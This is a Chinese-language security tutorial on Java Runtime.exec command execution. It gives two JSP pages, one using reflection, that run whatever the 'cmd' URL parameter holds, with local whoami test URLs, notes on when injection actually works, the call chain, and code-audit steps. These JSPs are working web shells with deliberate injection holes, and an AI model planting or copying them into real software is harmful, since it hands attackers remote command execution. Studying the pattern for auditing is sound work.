0x01 前言
在Java中黑客最常用的命令执行方法就是通过java.lang.Runtime类 的 exec方法 来执行本地系统命令
因此学习好这个类的运行流程非常有必要
0x02 环境搭配
为了能模拟实战,这边搭建了一个JSP环境
如果还不会搭建jsp环境的可以按照下面的文章跟着搭建
Mac版IDEA创建maven web项目-详细过程: https://www.yuque.com/pmiaowu/gpy1q8/npv0fr
0x03 Runtime命令执行测试
# 在 webapp目录下面新建立一个文件: runtime-exec.jsp# 文件名: runtime-exec.jsp<%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><%// 漏洞触发点String cmd = request.getParameter("cmd");BufferedReader in = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream(), "UTF-8"));String line;StringBuilder results = new StringBuilder();while ((line = in.readLine()) != null) {results.append(line);}in.close();out.print(results);%># 写好完毕以后启动项目# request.getParameter("cmd") 就是我们可控的地方# 表示url中 get请求的cmd参数
访问url:http://127.0.0.1:8081/mavenJspTest_war/runtime-exec.jsp?cmd=whoami
0x04 Runtime命令执行-反射调用
# 在 webapp目录下面新建立一个文件: runtime-exec2.jsp# 文件名: runtime-exec2.jsp<%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.InputStream" %><%@ page import="java.io.ByteArrayOutputStream" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><%// 漏洞触发点String c = request.getParameter("cmd");// 根据系统自动调用对应命令String[] cmd;String osName = System.getProperties().getProperty("os.name");if (osName.toLowerCase().contains("windows")) {cmd = new String[]{"cmd", "/c", c};} else {cmd = new String[]{"/bin/bash", "-c", c};}// 获取Runtime类对象Class runtimeClass = Class.forName("java.lang.Runtime");// 获取构造方法Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();runtimeConstructor.setAccessible(true);// 创建Runtime类实例 相当于 Runtime r = new Runtime();Object runtimeInstance = runtimeConstructor.newInstance();// 获取Runtime的exec(String cmd)方法Method runtimeMethod = runtimeClass.getMethod("exec", String[].class);// 调用exec方法 等于 r.exec(cmd); cmd参数输入要执行的命令Process p = (Process) runtimeMethod.invoke(runtimeInstance, new Object[]{cmd});// 获取命令执行结果InputStream in = p.getInputStream();ByteArrayOutputStream results = new ByteArrayOutputStream();byte[] b = new byte[1024];int l = -1;while ((l = in.read(b)) != -1) {results.write(b, 0, l);}out.print(results);%># 写好完毕以后启动项目# request.getParameter("cmd") 就是我们可控的地方
访问url:http://127.0.0.1:8081/mavenJspTest_war/runtime-exec2.jsp?cmd=whoami%26whoami
命令执行效果如下: 
0x05 Runtime命令执行的一个小坑
注意:在查找到exec可控的时候也不一定就是说真的是命令执行了例如:String c = request.getParameter("cmd");cmd = "echo 123" + c;Runtime.getRuntime().exec(cmd);假设 变量c 是可控制的,那么可以命令执行么?肯定会想,那我这样 "echo 123|whoami" 不就可以了答案是不行的!因为在exec跟进去的话就会发现里面会经过个StringTokenizer类之后返回了一个以空格分隔的数组接着 echo 就是命令,echo 后面所有的都算是参数因此要是发现了这种类似的代码,不要高兴太早因为除非它最前面带的参数可以命令执行,不然就不能命令执行例如:方式一:echo替换为 "cmd /c" 或是 "/bin/bash -c"方式二:cmd 替换为new String[]{"cmd", "/c", c}或是new String[]{"/bin/bash", "-c", c}这样子的才可以说有命令执行
0x06 Runtime命令执行调用链
Runtime.getRuntime().exec(cmd)调用链如下:java.lang.Thread.State: RUNNABLEat java.lang.UNIXProcess.<init>(UNIXProcess.java:247)at java.lang.ProcessImpl.start(ProcessImpl.java:134)at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)at java.lang.Runtime.exec(Runtime.java:621)at java.lang.Runtime.exec(Runtime.java:451)at java.lang.Runtime.exec(Runtime.java:348)at org.apache.jsp.runtime_002dexec_jsp._jspService(runtime-exec.jsp:10)


然后打开idea调试功能 启动项目访问url:http://127.0.0.1:8081/mavenJspTest_war/runtime-exec.jsp?cmd=whoami通过debug功能,得到整个调用链
如下图:
通过观察整个调用链可以发现, Runtime.exec()方法,只是命令执行的起点,执行的大概逻辑是:1. Runtime.getRuntime().exec()2. java.lang.ProcessBuilder.start()3. java.lang.ProcessImpl.start()4. java.lang.UNIXProcess()5. UNIXProcess()里面的构造方法中调用了forkAndExec(xxx)6. forkAndExec()里面根据不同系统windows/linux调用不同操作系统级别命令并返回PIDforkAndExec()方法被 native修饰了,这表示它是JAVA与C代码进行互操作的API所以我们跟到 forkAndExec()方法 就可以了有了这个简单的分析,我们可以简单的知道Runtime.exec()本地命令执行的流程了一定要记得 Runtime.exec()方法 只是命令执行的入口点,不是终点
0x07 如何查找
1. Runtime.getRuntime().exec(cmd); 搜索该方法2. 查看cmd变量是否可控制3. 如果是字符串查看是否 "cmd /c" 或是 "/bin/bash -c"在或是 承载的命令本身就类似 "cmd /c" 可以直接命令执行4. 如果是字符串数组查看是否类似这样cmd = new String[]{"cmd", "/c", c}; // c变量外部控或是cmd = new String[]{"/bin/bash", "-c", c}; // c变量外部控这样也可以命令执行5. 如果是类似这样的,那么就无法命令执行String c = request.getParameter("cmd");cmd = "ping www.baidu.com" + c;Runtime.getRuntime().exec(cmd);
